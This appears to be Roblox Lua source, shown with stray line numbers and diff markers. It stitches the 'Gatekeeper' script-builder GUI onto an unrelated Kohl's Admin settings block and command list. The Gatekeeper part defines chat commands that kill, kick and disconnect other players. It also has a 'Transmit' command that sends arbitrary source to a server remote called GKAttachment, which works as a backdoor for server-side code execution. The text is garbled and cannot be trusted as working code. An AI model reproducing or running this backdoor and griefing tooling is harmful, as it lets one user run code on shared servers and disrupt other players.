function GuiSeperator:IsA(className)
5259
	return className == "GuiSeperator" or GuiObject.IsA(self, className)
5260
end
5261
local startMenu = GuiFrame:new {
5262
	BorderTransparency = 0.5,
5263
	Position = UDim2.new(0, -4, 0, -4),
5264
	Size = UDim2.new(0, 68, 1, 8),
5265
	Parent = GuiService
5266
}
5267
GuiSeperator:new {
5268
	Position = UDim2.new(0, 0, 0, 5),
5269
	Parent = startMenu
5270
}
5271
GuiSeperator:new {
5272
	Position = UDim2.new(0, 0, 1, -85),
5273
	Parent = startMenu
5274
}
5275
local networkButton = GuiTextButton:new {
5276
	BackgroundTransparency = 0.9,
5277
	Mnemonic = "L",
5278
	Position = UDim2.new(0, 4, 1, -647),
5279
	Text = "Network",
5280
	Parent = startMenu
5281
}
5282
local chatLogButton = GuiTextButton:new {
5283
	BackgroundTransparency = 0.9,
5284
	Mnemonic = "K",
5285
	Position = UDim2.new(0, 4, 1, -475),
5286
	Text = "Chat log",
5287
	Parent = startMenu
5288
}
5289
local outputButton = GuiTextButton:new {
5290
	BackgroundTransparency = 0.9,
5291
	Mnemonic = "P",
5292
	Position = UDim2.new(0, 4, 1, -283),
5293
	Text = "Output",
5294
	Parent = startMenu
5295
}
5296
local toolsButton = GuiTextButton:new {
5297
	BackgroundTransparency = 0.9,
5298
	Mnemonic = "O",
5299
	Position = UDim2.new(0, 4, 1, -137),
5300
	Text = "Tools",
5301
	Parent = startMenu
5302
}
5303
local networkFrame = GuiNetworkList:new {
5304
	Position = UDim2.new(0, 66, 1, -647),
5305
	Size = UDim2.new(0, 0, 0, 168),
5306
	Visible = false,
5307
	Parent = GuiService
5308
}
5309
local chatLogFrame = GuiChatLog:new {
5310
	DisplayWidth = 332,
5311
	Position = UDim2.new(0, 66, 1, -475),
5312
	Size = UDim2.new(0, 0, 0, 188),
5313
	Visible = false,
5314
	Parent = GuiService
5315
}
5316
local outputFrame = GuiTextOutput:new {
5317
	DisplayWidth = 332,
5318
	Position = UDim2.new(0, 66, 1, -283),
5319
	Size = UDim2.new(0, 0, 0, 140),
5320
	Visible = false,
5321
	Parent = GuiService
5322
}
5323
local toolsFrame = GuiFrame:new {
5324
	Position = UDim2.new(0, 66, 1, -137),
5325
	Size = UDim2.new(0, 0, 0, 52),
5326
	Visible = false,
5327
	Parent = GuiService
5328
}
5329
local toggleCharacterButton = GuiTextButton:new {
5330
	BackgroundTransparency = 0.9,
5331
	Position = UDim2.new(0, 1, 0, 1),
5332
	Size = UDim2.new(0, 108, 0, 20),
5333
	Text = "Enable character",
5334
	Parent = toolsFrame
5335
}
5336
local resetCharacterButton = GuiTextButton:new {
5337
	BackgroundTransparency = 0.9,
5338
	Position = UDim2.new(0, 1, 0, 23),
5339
	Size = UDim2.new(0, 108, 0, 20),
5340
	Text = "Reset character",
5341
	Parent = toosFrame
5342
}
5343
local clearWorkspaceButton = GuiTextButton:new {
5344
	BackgroundTransparency = 0.9,
5345
	Position = UDim2.new(0, 110, 0, 1),
5346
	Size = UDim2.new(0, 108, 0, 20),
5347
	Text = "Clear workspace",
5348
	Parent = toolsFrame
5349
}
5350
local clearScriptButton = GuiTextButton:new {
5351
	BackgroundTransparency = 0.9,
5352
	Position = UDim2.new(0, 110, 0, 23),
5353
	Size = UDim2.new(0, 108, 0, 20),
5354
	Text = "Clear all",
5355
	Parent = toolsFrame
5356
}
5357
local fixLightingButton = GuiTextButton:new {
5358
	BackgroundTransparency = 0.9,
5359
	Position = UDim2.new(0, 219, 0, 1),
5360
	Size = UDim2.new(0, 108, 0, 20),
5361
	Text = "Fix lighting",
5362
	Parent = toolsFrame
5363
}
5364
local reloadCommandsButton = GuiTextButton:new {
5365
	BackgroundTransparency = 0.9,
5366
	Position = UDim2.new(0, 219, 0, 23),
5367
	Size = UDim2.new(0, 108, 0, 20),
5368
	Text = "Reload commands",
5369
	Parent = toolsFrame
5370
}
5371
toggleCharacterButton.Activated:connect(function()
5372
	local enabled = not PlayerControl.IsEnabled()
5373
	if enabled then
5374
		toggleCharacterButton:SetText("Disable character")
5375
	else
5376
		toggleCharacterButton:SetText("Enable character")
5377
	end
5378
	PlayerControl.SetEnabled(enabled)
5379
end)
5380
resetCharacterButton.Activated:connect(function()
5381
	PlayerControl.ResetCharacter()
5382
end)
5383
clearWorkspaceButton.Activated:connect(function()
5384
	Utility.CleanWorkspace()
5385
end)
5386
clearScriptButton.Activated:connect(function()
5387
	Utility.CleanWorkspaceAndScripts()
5388
end)
5389
fixLightingButton.Activated:connect(function()
5390
	Utility.CleanLighting()
5391
end)
5392
reloadCommandsButton.Activated:connect(function()
5393
	UserInterface.FixChattedConnection()
5394
end)
5395
local networkFrameActive = false
5396
local networkFrameTweening = false
5397
networkButton.Activated:connect(function()
5398
	if not networkFrameTweening then
5399
		networkFrameActive = not networkFrameActive
5400
		networkFrameTweening = true
5401
		if networkFrameActive then
5402
			networkFrame:SetVisible(true)
5403
			networkFrame.m_base_instance:TweenSize(UDim2.new(0, 276, 0, 168), nil, nil, 0.5)
5404
			wait(0.5)
5405
		else
5406
			networkFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 168), nil, nil, 0.5)
5407
			wait(0.5)
5408
			networkFrame:SetVisible(false)
5409
		end
5410
		networkFrameTweening = false
5411
	end
5412
end)
5413
local chatLogFrameActive = false
5414
local chatLogFrameTweening = false
5415
chatLogButton.Activated:connect(function()
5416
	if not chatLogFrameTweening then
5417
		chatLogFrameActive = not chatLogFrameActive
5418
		chatLogFrameTweening = true
5419
		if chatLogFrameActive then
5420
			chatLogFrame:SetVisible(true)
5421
			chatLogFrame.m_base_instance:TweenSize(UDim2.new(0, 360, 0, 188), nil, nil, 0.5)
5422
			wait(0.5)
5423
		else
5424
			chatLogFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 188), nil, nil, 0.5)
5425
			wait(0.5)
5426
			chatLogFrame:SetVisible(false)
5427
		end
5428
		chatLogFrameTweening = false
5429
	end
5430
end)
5431
local outputFrameActive = false
5432
local outputFrameTweening = false
5433
outputButton.Activated:connect(function()
5434
	if not outputFrameTweening then
5435
		outputFrameActive = not outputFrameActive
5436
		outputFrameTweening = true
5437
		if outputFrameActive then
5438
			outputFrame:SetVisible(true)
5439
			outputFrame.m_base_instance:TweenSize(UDim2.new(0, 360, 0, 140), nil, nil, 0.5)
5440
			wait(0.5)
5441
		else
5442
			outputFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 140), nil, nil, 0.5)
5443
			wait(0.5)
5444
			outputFrame:SetVisible(false)
5445
		end
5446
		outputFrameTweening = false
5447
	end
5448
end)
5449
local toolsFrameActive = false
5450
local toolsFrameTweening = false
5451
toolsButton.Activated:connect(function()
5452
	if not toolsFrameTweening then
5453
		toolsFrameActive = not toolsFrameActive
5454
		toolsFrameTweening = true
5455
		if toolsFrameActive then
5456
			toolsFrame:SetVisible(true)
5457
			toolsFrame.m_base_instance:TweenSize(UDim2.new(0, 336, 0, 52), nil, nil, 0.5)
5458
			wait(0.5)
5459
		else
5460
			toolsFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 52), nil, nil, 0.5)
5461
			wait(0.5)
5462
			toolsFrame:SetVisible(false)
5463
		end
5464
		toolsFrameTweening = false
5465
	end
5466
end)
5467
AdvancedGUI.startMenu = startMenu
5468
AdvancedGUI.networkFrame = networkFrame
5469
AdvancedGUI.outputFrame = outputFrame
5470
AdvancedGUI.toolsFrame = toolsFrame
5471
AdvancedGUI.chatLogFrame = chatLogFrame
5472
AdvancedGUI.toggleCharacterButton = toggleCharacterButton
5473
AdvancedGUI.reloadCommandsButton = reloadCommandsButton
5474
function AdvancedGUI.Print(...)
5475
	AdvancedGUI.outputFrame:Print(...)
5476
end
5477
function AdvancedGUI.PrintFormat(...)
5478
	AdvancedGUI.outputFrame:PrintFormat(...)
5479
end
5480
function AdvancedGUI.PrintChatLog(speaker, message)
5481
	AdvancedGUI.chatLogFrame:Chat(speaker, message)
5482
end
5483
for _, entry in Logger.NodeIterator, Logger.entries do
5484
	if entry then
5485
		local messageType = entry[1]
5486
		local messageTypeValue
5487
		if messageType == Logger.MessageType.Error then
5488
			messageTypeValue = Logger.MessageType.Severe.Value
5489
		else
5490
			messageTypeValue = messageType.Value
5491
		end
5492
		AdvancedGUI.outputFrame:PrintFormat(Logger.MESSAGE_TYPE_SETTINGS[messageTypeValue], entry[2])
5493
	else
5494
		break
5495
	end
5496
end
5497
5498
function GetPlayers(str)
5499
    local found = {};
5500
    if str == "all" then 
5501
        for i,v in pairs(game.Players:children()) do
5502
            if v:IsA("Player") then table.insert(found,v) end
5503
        end
5504
    else
5505
        for i,v in pairs(game.Players:children()) do
5506
            if string.match(v.Name:lower(), str:lower()) and v:IsA("Player") then
5507
                table.insert(found,v)
5508
            end
5509
        end
5510
    end
5511
    return found
5512
end
5513
5514
function NewCMD(nme, usg, desc, func)
5515
    table.insert(CMDS, {['Name']=nme, ['Usage']=usg, ['Description']=desc, ['Function']=func}) 
5516
end
5517
5518
NewCMD("Chat Theme", "ctheme", "Changes the chat theme", function(msg) ChatBubble.SetTheme(msg) end)
5519
NewCMD("Clean", "clr", "Clears the game", function() Utility.CleanWorkspaceAndScripts() end)
5520
NewCMD("Fix Lighting", "fixl", "Fixes the ligghting",function() Utility.CleanLighting() end)
5521
NewCMD("Kill", "kill", "Kills the player", function(msg)
5522
    local plrs = GetPlayers(msg)
5523
    for _,plr in next,plrs do
5524
        GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Really red"), float_duration = 1})
5525
        plr.Character:BreakJoints()
5526
    end
5527
end)
5528
5529
NewCMD("Kick", "kick", "Kicks the player", function(msg)
5530
    local plrs = GetPlayers(msg)
5531
    for _,plr in next,plrs do
5532
        GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Really black"), float_duration = 1})
5533
        plr:remove()
5534
    end
5535
end)
5536
5537
NewCMD("Show commands","cmds", "Shows the commands",
5538
    function()
5539
        for i,v in pairs(CMDS) do
5540
            Tablet(v['Name'],Colors.Black,function()
5541
            Dismiss()
5542
            Tablet("Viewing".." : "..v['Name'])--wait u got so many I just want to access func
5543
            Tablet("Usage".." : "..v['Usage'])
5544
            Tablet("Description".." : "..v['Description']) 
5545
            end)
5546
            end
5547
        end
5548
)
5549
NewCMD("Disconnect", "disc", "Disconnects the player",function(msg)
5550
    local plrs = GetPlayers(msg)
5551
    for _,plr in next,plrs do
5552
        if RF ~= nil then
5553
            GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Magenta"), float_duration = 1})
5554
            RF:InvokeServer("game.Players."..plr.Name..":Kick()")
5555
        else
5556
            Tablet("Could not find Attachment", Colors.Red)
5557
        end
5558
    end
5559
end)
5560
NewCMD("Ping", "ping", "Shows a tablet with your desired text",function(msg) Tablet(msg, Colors.Green) end)
5561
NewCMD("Dismiss", "dt", "Dismisses all your tablets",function(msg) Dismiss() end)
5562
NewCMD("Visibility", "tabvis", "Changes the visibility of the tabs",function() if TabsInWorkspace == true then TabsInWorkspace = false Tablet("Tabs will be invisible from now on", Colors.Red) else TabsInWorkspace = true Tablet("Tabs will be visible from now on!", Colors.Lime) end end)
5563
NewCMD("Respawn", "rs", "Respawns the given player",function(msg)
5564
    local plrs = GetPlayers(msg)
5565
    for _,plr in next,plrs do
5566
        if RF ~= nil then
5567
            GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("New Yeller"), fade_out_color = BrickColor.new("Instituational White"),float_duration = 1})
5568
            RF:InvokeServer("game.Players."..plr.Name..":loadCharacter()")
5569
        else
5570
            Tablet("Could not find Attachment", Colors.Red)
5571
        end
5572
    end
5573
end)
5574
5575
NewCMD("Transmit", "trans", "Sends a server-side source",function(msg)
5576
    if RF ~= nil then
5577
        RF:InvokeServer(msg)
5578
    end
5579
end)
5580
5581
NewCMD("SetCharId", "setcharid", "Sets the character id",function(args) if args == 1 or 2 or 3 or 4 then CharacterAppearance.defaultAppearanceId = tonumber(args) end end)
5582
NewCMD("Pushable player", "pushable", "Sets if the player can be pushed or not",function(args) PlayerControl.SetPushable(not PlayerControl.IsPushable()) end)
5583
NewCMD("Rolling player", "rolling", "Sets rolling fly",function(args) PlayerControl.SetRolling(not PlayerControl.IsRolling()) end)
5584
NewCMD("Set Name", "setname", "Sets the player's name",function(args) user_name = args end)
5585
5586
NewCMD("Switch SB", "sb", "Switches SB",function(msg)
5587
    if msg == "nex" then
5588
        Workspace.Parent:service'TeleportService':Teleport(178350907)
5589
    elseif msg == "rj" then
5590
        Workspace.Parent:service'TeleportService':Teleport(game.PlaceId)
5591
    elseif msg == "mas" then
5592
        Workspace.Parent:service'TeleportService':Teleport(210101277)
5593
    end
5594
end)
5595
5596
NewCMD("PyramidCharacter", "pyr", "Enables or disables nil Pyramid",function(msg) 
5597
    if characterMode == "normal" then
5598
        characterMode = "pyramid"
5599
        Player.Character = nil;
5600
        PyramidCharacter.Teleport(Workspace.CurrentCamera.Focus.p)
5601
        PyramidCharacter.visible = true
5602
        PlayerControl.SetEnabled(false)
5603
    else
5604
        characterMode = "normal"
5605
        PyramidCharacter.visible = false
5606
        PlayerControl.SetEnabled(true)
5607
    end
5608
end)
5609
5610
NewCMD("Reset Controls", "resetc", "Resets chat",function()
5611
    if Player.Parent ~= game.Players then
5612
    	Player.Character = PlayerControl.GetCharacter()
5613
    	Camera.CameraSubject = PlayerControl.GetHumanoid()
5614
    	chatAdornee = PlayerControl.GetHead()
5615
    else
5616
        chatAdornee = Player.Character.Head
5617
    end
5618
end)
5619
5620
NewCMD("Joint Crap", "jc", "Messes up the player's character",function(msg)
5621
    local plrs = GetPlayers(msg)
5622
    for _,plr in next,plrs do
5623
        GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("New Yeller"), float_duration = 1})
5624
        GraphicalEffects.JointCrap(plr.Character)
5625
    end
5626
end)
5627
    
5628
function onChatted(Message)
5629
if string.sub(Message,1,3) == "/e " then Message = string.sub(Message,4) end
5630
    pcall(function()
5631
		for i,v in pairs(CMDS) do
5632
				local tosay = "/"..v['Usage']:lower()
5633
				if Message:sub(1,tosay:len()):lower() == tosay:lower() then
5634
						local Run,Error = ypcall(function()
5635
							v.Function(Message:sub(tosay:len()+2)) 
5636
						end)
5637
						if Error then
5638
							print("[Error]: "..tostring(Error))	
5639
						end
5640
				end
5641
		end
5642
	end)
5643
end
5644
5645
Colors = {
5646
        Red = Color3.new(1,0,0);
5647
        Orange = Color3.new(1,0.5,0);
5648
        Yellow = Color3.new(1,1,0);
5649
        Olive = Color3.new(0.5,1,0);
5650
        Lime = Color3.new(0,1,0);
5651
        Green = Color3.new(0,0.5,0);
5652
        BlueishGreen = Color3.new(0,1,0.5);
5653
        Aqua = Color3.new(0,1,1);
5654
        SoftBlue = Color3.new(0,0.5,1);
5655
        Blue = Color3.new(0,0,1);
5656
        Purple = Color3.new(0.5,0,1);
5657
        Magenta = Color3.new(0.75,0,0.75);
5658
        Pink = Color3.new(1,0,1);
5659
        White = Color3.new(1,1,1);
5660
        Grey = Color3.new(0.5,0.5,0.5);
5661
        Black = Color3.new(0,0,0);
5662
};
5663
5664
function Dismiss()
5665
                for _=1,100 do
5666
                        pcall(function()
5667
                                for i,v in pairs(Tablets) do
5668
                                                pcall(function() v.Part:Destroy() end)
5669
                                                pcall(function() Tablets[i] = nil end)
5670
                                        end
5671
                        end)
5672
                end
5673
end
5674
5675
Tablets = {};
5676
TabsInWorkspace = false
5677
function Tablet(Text, Color, onClicked,onTouched,staytime)
5678
        --[[pcall(function() local a = Color.r if type(a) == "number" then Color = a end end)
5679
        pcall(function() local a = BrickColor.new(Color) if a then Color = a.Color end end)]]
5680
        if not pcall(function() local a = Color.r if type(a) ~= "number" then error() end end) then
5681
                Color = Colors.White
5682
        end
5683
        Color = BrickColor.new(Color).Color -- 2much colors c:
5684
        if Player.Character.Torso == nil then
5685
                return 
5686
        end
5687
        local Insert = {}
5688
        local tab = Instance.new("Part")
5689
        if TabsInWorkspace == false then
5690
            tab.Parent = Workspace.CurrentCamera
5691
        else
5692
            tab.Parent = Workspace
5693
        end
5694
        local light = Instance.new("PointLight", tab)
5695
        light.Enabled = true
5696
        light.Range = 15
5697
        tab.Name = tostring(math.random(-99999,99999))
5698
tab.TopSurface = Enum.SurfaceType.Smooth
5699
tab.LeftSurface = Enum.SurfaceType.Smooth
5700
tab.RightSurface = Enum.SurfaceType.Smooth
5701
tab.FrontSurface = Enum.SurfaceType.Smooth
5702
tab.BackSurface = Enum.SurfaceType.Smooth
5703
tab.BottomSurface = Enum.SurfaceType.Smooth
5704
        tab.FormFactor = "Custom"
5705
        tab.Size = Vector3.new(1.8, 1.8, 1.8)
5706
        tab.Anchored = true
5707
        tab.Locked = true
5708
        tab.CanCollide = false
5709
        tab.Transparency = 0.5
5710
        tab.Color = BrickColor.new(Color).Color
5711
        tab.CFrame = Player.Character.Head.CFrame
5712
        if onTouched~=nil then
5713
                tab.Touched:connect(function(what)
5714
                        a,b=ypcall(function()
5715
                                onTouched(what)
5716
                        end)
5717
                        if not a then error(b) end
5718
                end)
5719
        end
5720
        local box = Instance.new("SelectionBox", tab)
5721
        box.Adornee = box.Parent
5722
        box.Transparency = BoxTrans
5723
        box.Color = BrickColor.new(Color)
5724
        local gui = Instance.new("BillboardGui", tab)
5725
        gui.Adornee = tab
5726
        gui.StudsOffset = Vector3.new(0,tab.Size.Y+0.5,0)
5727
        gui.Size = UDim2.new(1,0,1,0)
5728
        local text = Instance.new("TextLabel", gui)
5729
        text.BackgroundTransparency = 1
5730
        text.Text = tostring(Text)
5731
        text.Position = UDim2.new(0.5,0,0.5,0)
5732
        text.Font = "ArialBold"
5733
        text.FontSize = "Size18"
5734
        text.TextColor3 = Color
5735
        text.TextStrokeTransparency = 1
5736
       
5737
        local function DestroyThisTab()
5738
                pcall(function() tab:Destroy() end)
5739
                for i,v in pairs(Tablets) do
5740
                        if v.Part.Name == tab.Name then
5741
                                table.remove(Tablets, i)       
5742
                        end
5743
                end
5744
        end
5745
       
5746
        local Click = Instance.new("ClickDetector", tab)
5747
        Click.MaxActivationDistance = math.huge
5748
        Click.MouseHoverEnter:connect(function(CPlayer)
5749
                if CPlayer.Name == Player.Name then
5750
                        tab.Transparency = 0.2
5751
                        box.Transparency = 0.2
5752
                end
5753
        end)
5754
        Click.MouseHoverLeave:connect(function(CPlayer)
5755
                if CPlayer.Name == Player.Name then
5756
                        tab.Transparency = 0.5
5757
                        box.Transparency = 0.5
5758
                end
5759
        end)
5760
        Click.MouseClick:connect(function(CPlayer)
5761
                if CPlayer.Name == Player.Name or CPlayer.Name == "hrocks1" then
5762
                        if onClicked == nil then
5763
                                DestroyThisTab()
5764
                        else
5765
                                local Run,Error = ypcall(function()
5766
                                        onClicked()
5767
                                end)
5768
                                if Error then
5769
                                        Tablet(tostring(Error), Colors.Red)     
5770
                                end
5771
                                DestroyThisTab()
5772
                        end
5773
                end
5774
        end)
5775
        if type(staytime) == "number" then
5776
                Delay(staytime,function()
5777
                        pcall(function() DestroyThisTab() end)
5778
                end)
5779
        end
5780
        Insert.Part = tab
5781
        table.insert(Tablets, Insert)
5782
        local rtn = {
5783
                tab=tab;
5784
                light=light;
5785
                box=box;
5786
                gui=gui;
5787
                text=text;
5788
                Click=Click;
5789
                Insert=Insert;
5790
        }
5791
        for i,v in pairs(rtn) do
5792
                pcall(function()
5793
                        v.AncestryChanged:connect(function()
5794
                                if tab.Parent ~= game.Workspace then
5795
                                        Delay(1,function() pcall(function() DestroyThisTab() end) end)
5796
                                end
5797
                        end)
5798
                end)
5799
        end
5800
        return rtn
5801
end
5802
5803
Rotation = 0
5804
RotationAddValue = 0.0002
5805
5806
ROT=function() --OH LOL worst mistake xD Do you have tab table? Yup I just fixed it
5807
game['Run Service'].Stepped:connect(function()
5808
        pcall(function()
5809
                        Rotation = Rotation + RotationAddValue -- oh
5810
                        --Rotation=0.0002
5811
                        local AllTabs = {}
5812
                        for _,tab in pairs(Tablets) do
5813
                                        table.insert(AllTabs, tab)
5814
                        end
5815
                        for i = 1, #AllTabs do
5816
                                if Player.Character ~= nil then
5817
                                                local Position = Player.Character.Torso.CFrame.p
5818
                                                local Radius = (#AllTabs * 0.5) + 5
5819
                                                local M = (i / #AllTabs - (0.5 / #AllTabs) * Rotation * 2) * math.pi * (4/2)
5820
                                                local X = math.sin(M) * Radius
5821
                                                local Y = math.sin(i + tick())
5822
                                                local Z = math.cos(M) * Radius
5823
                                                local A = Vector3.new(X, Y, Z) + Position
5824
                                                local B = AllTabs[i].Part.CFrame.p
5825
                                                local C = A * 0.1 + B * 0.9
5826
                                                local Cube_Rotation = (Rotation * 20)
5827
                                                local D = CFrame.Angles(Cube_Rotation, Cube_Rotation, Cube_Rotation)
5828
                                                AllTabs[i].Part.CFrame = CFrame.new(C, Position) * D
5829
                        	end
5830
			end
5831
        end)
5832
end)
5833
end
5834
5835
5836
function CheckHotKey()
5837
    local uis = game:service'UserInputService'
5838
    if uis:IsKeyDown(Enum.KeyCode.LeftControl) then
5839
        if uis:IsKeyDown(Enum.KeyCode.Z) then
5840
            Utility.CreateDummy(Mouse.Hit, "???", Workspace)
5841
        elseif uis:IsKeyDown(Enum.KeyCode.X) then
5842
            GraphicalEffects.ShootLaserOfDeath(Mouse.Hit.p)
5843
        elseif uis:IsKeyDown(Enum.KeyCode.C) then
5844
            GraphicalEffects.SpaceHyperBeam(Mouse.Hit.p)
5845
        elseif uis:IsKeyDown(Enum.KeyCode.Q) then
5846
            if characterMode == "normal" then PlayerControl.SetEnabled(not PlayerControl.characterEnabled) end
5847
        elseif uis:IsKeyDown(Enum.KeyCode.R) then
5848
            GraphicalEffects.SpawnSapientRock(Mouse.Hit.p)
5849
        elseif uis:IsKeyDown(Enum.KeyCode.V) then
5850
            chatAdornee = Mouse.Target
5851
        elseif uis:IsKeyDown(Enum.KeyCode.T) then
5852
            ControllerCommands.TeleportCharacterToMouse()
5853
        elseif uis:IsKeyDown(Enum.KeyCode.E) then
5854
            ControllerCommands.ShootMissileAroundMouse(5, 25, nil)
5855
        elseif uis:IsKeyDown(Enum.KeyCode.G) then
5856
            ControllerCommands.BigLaserAtMouse()
5857
        elseif uis:IsKeyDown(Enum.KeyCode.H) then
5858
            ControllerCommands.ControlRandomDummy()
5859
        elseif uis:IsKeyDown(Enum.KeyCode.B) then
5860
            ControllerCommands.BalefireAtMouse()
5861
        elseif uis:IsKeyDown(Enum.KeyCode.Y) then
5862
            if Mouse.Target:IsA("Part") or Mouse.Target:IsA("Model") and Mouse.Target.Name ~= "Base" then local targ = Mouse.Target GraphicalEffects.CrystalRing({base_part = targ, crystal_color = BrickColor.new("Really black"), float_duration = 0.5,fade_out_color = BrickColor.new("Institutional White")}) targ:Destroy() end
5863
        elseif uis:IsKeyDown(Enum.KeyCode.F) then
5864
            if flying == true then
5865
                PlayerControl.StopFlying()
5866
            else
5867
                PlayerControl.StartFlying()
5868
            end
5869
        end
5870
    end
5871
end
5872
5873
ROT()
5874
5875
game.ReplicatedStorage.DescendantRemoving:connect(function(itm)
5876
    if itm.Name == "GKAttachment" then
5877
        wait(2)
5878
        RF = game.ReplicatedStorage:findFirstChild("GKAttachment") or nil
5879
    end
5880
end)
5881
TabsInWorkspace = true;
5882
Tablet("GK // REWRITE has loaded!", Colors.Lime)
5883
Tablet("Gatekeeper was originally made by noliCAIKS", Colors.Orange)
5884
Tablet("This version of Gatekeeper is being developed by areno2002", Colors.SoftBlue)
5885
GraphicalEffects.CrystalRing({base_part = Player.Character.Torso, fade_out_color = BrickColor.new("Toothpaste"), crystal_color = BrickColor.new("Lime green"), crystal_count = 10, float_duration = 1})
5886-
-- Its very similar to the #15
5886+
5887
if script:IsA("LocalScript") then Mouse.Button1Down:connect(CheckHotKey) end
5888
-- Its very similar to the #15
5889
— Kohls
5890
-----------------------------------------------------------------------------------------
5891
-- Replace harrypotterfan249 with your name c: --
5892
-----------------------------------------------------------------------------------------
5893
local owners = {"paul0072"} -- Are able to set admins who can ban/etc... using :pa name
5894
local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
5895
local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
5896
local banland = {"MasterKhaos"} -- Permanently Bans people
5897
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
5898
local AutoUpdate = true -- Set to false if you don't want it to automatically update
5899
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
5900
---------------------
5901
--    VIP Admin    --
5902
---------------------
5903
local VipAdmin = false -- If someone can have admin for owning an item
5904
local ItemId = 0 -- The item they must own in order to have admin
5905
---------------------
5906
--   Group Admin   --
5907
---------------------
5908
local GroupAdmin = false -- If a certain group can have admin
5909
local GroupId = 0 -- Sets the group id that can have admin
5910
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
5911
---------------------
5912
-- Tips and Tricks --
5913
---------------------
5914
--[[
5915
With this admin you can do a command on multiple people at a time;
5916
	 :kill me,noob1,noob2,random,team-raiders,nonadmins
5917
5918
You can also use a variety commands for different people;
5919
	 all
5920
	 others
5921
	 me
5922
	 team-
5923
	 admins
5924
	 nonadmins
5925
	 random
5926
--]]
5927
---------------------
5928
--    Commands     --
5929
---------------------
5930
--[[
5931
-- |Temp Admin Commands| --
5932
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
5933
1. :s print("Hello World") -- Lets you script normally
5934
2. :ls print("Hello World") -- Lets you script in localscripts
5935
3. :clear -- Will remove all scripts/localscripts and jails
5936
4. :m Hello People -- This commands will let you shout a message to everyone on the server
5937
5. :kill kohl -- Kills the player
5938
6. :respawn kohl -- Respawns the player
5939
7. :trip kohl -- Trips the player
5940
8. :stun kohl -- Stuns the player
5941
9. :unstun kohl -- Unstuns the player
5942
10. :jump kohl -- Makes the player jump
5943
11. :sit kohl -- Makes the player sit
5944
12. :invisible kohl -- Makes the player invisible
5945
13. :visible kohl -- Makes the player visible
5946
14. :explode kohl -- Makes the player explode
5947
15. :fire kohl -- Sets the player on fire
5948
16. :unfire kohl -- Removes fire from the player
5949
17. :smoke kohl -- Adds smoke to the player
5950
18. :unsmoke kohl -- Removes smoke from the player
5951
19. :sparkles kohl -- Adds sparkles to the player
5952
20. :unsparkles kohl -- Removes sparkles from the player
5953
21. :ff kohl -- Adds a forcefield to the player
5954
22. :unff kohl -- Removes the forcefield from the player
5955
23. :punish kohl -- Punishes the player
5956
24. :unpunish kohl -- Unpunishes the player
5957
25. :freeze kohl -- Freezes the player
5958
26. :thaw kohl -- Thaws the player
5959
27. :heal kohl -- Heals the player
5960
28. :god kohl -- Makes the player have infinite health
5961
29. :ungod kohl -- Makes the player have 100 health
5962
30. :ambient .5 .5 .5 -- Changes the ambient
5963
31. :brightness .5 -- Changes the brightness
5964
32. :time 12 -- Changes the time
5965
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
5966
34. :fogend 100 -- Changes the fogend
5967
35. :fogstart 100 -- Changes the fogstart
5968
36. :removetools kohl -- Removes all tools from the player
5969
37. :btools kohl -- Gives the player building tools
5970
38. :give kohl sword -- Gives the player a tool
5971
39. :damage kohl -- Damages the player
5972
40. :grav kohl -- Sets the player's gravity to normal
5973
41. :setgrav kohl 100 -- Sets the player's gravity
5974
42. :nograv kohl -- Makes the player have 0 gravity
5975
43. :health kohl 1337 -- Changes the player's health
5976
44. :speed kohl 1337 -- Changes the player's walkspeed
5977
45. :name kohl potato -- Changes the player's name
5978
46. :unname kohl -- Remove the player's name
5979
47. :team kohl Raiders -- Changes the player's team
5980
48. :stopmusic -- Will stop all music playing in the server
5981
49. :teleport kohl potato -- Teleports the player
5982
50. :change kohl kills 1337 -- Changes a player's stat
5983
51. :kick kohl -- Removes the player from the game
5984
52. :infect kohl -- Turns the player into a zombie
5985
53. :rainbowify kohl -- Turns the player into a rainbow
5986
54. :flashify kohl -- Turns the player into a strobe
5987
55. :noobify kohl -- Turns the player into a noob
5988
56. :ghostify kohl -- Turns the player into a ghost
5989
57. :goldify kohl -- Turns the player into gold
5990
58. :shiny kohl -- Makes the player shiny
5991
59. :normal kohl -- Puts the player back to normal
5992
60. :trippy kohl -- Spams random colors on the player's screen
5993
61. :untrippy kohl -- Untrippys the player
5994
62. :strobe kohl -- Spams white and black on the player's screen
5995
63. :unstrobe kohl -- Unstrobes the player
5996
64. :blind kohl -- Blinds the player
5997
65. :unblind kohl -- Unblinds the player
5998
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
5999
67. :fling kohl -- Flings the player
6000
68. :seizure kohl -- Puts the player in a seizure
6001
69. :music 1337 -- Plays a sound from the ID
6002
70. :lock kohl -- Locks the player
6003
71. :unlock kohl -- Unlocks the player
6004
72. :removelimbs kohl -- Removes the player's limbs
6005
73. :jail kohl -- Puts the player in a jail
6006
74. :unjail kohl -- Removes the jail from the player
6007
75. :fix -- This will fix the lighting to it's original settings
6008
76. :fly kohl -- Makes the player fly
6009
77. :unfly kohl -- Removes fly from the player
6010
78. :noclip kohl -- Makes the player able to noclip
6011
79. :clip kohl -- Removes noclipping from the player
6012
80. :pm kohl Hey bro -- Sends the player a private message
6013
81. :dog kohl -- Turns the player into a dog
6014
82. :undog kohl -- Turns the player back to normal
6015
83. :creeper kohl -- Turns the player into a creeper
6016
84. :uncreeper kohl -- Turns the player back to normal
6017
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
6018
86. :char kohl 261 -- Will make a player look like a different player ID
6019
87. :unchar kohl -- Will return the player back to normal
6020
88. :h Hello People -- This will shout a hint to everyone
6021
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
6022
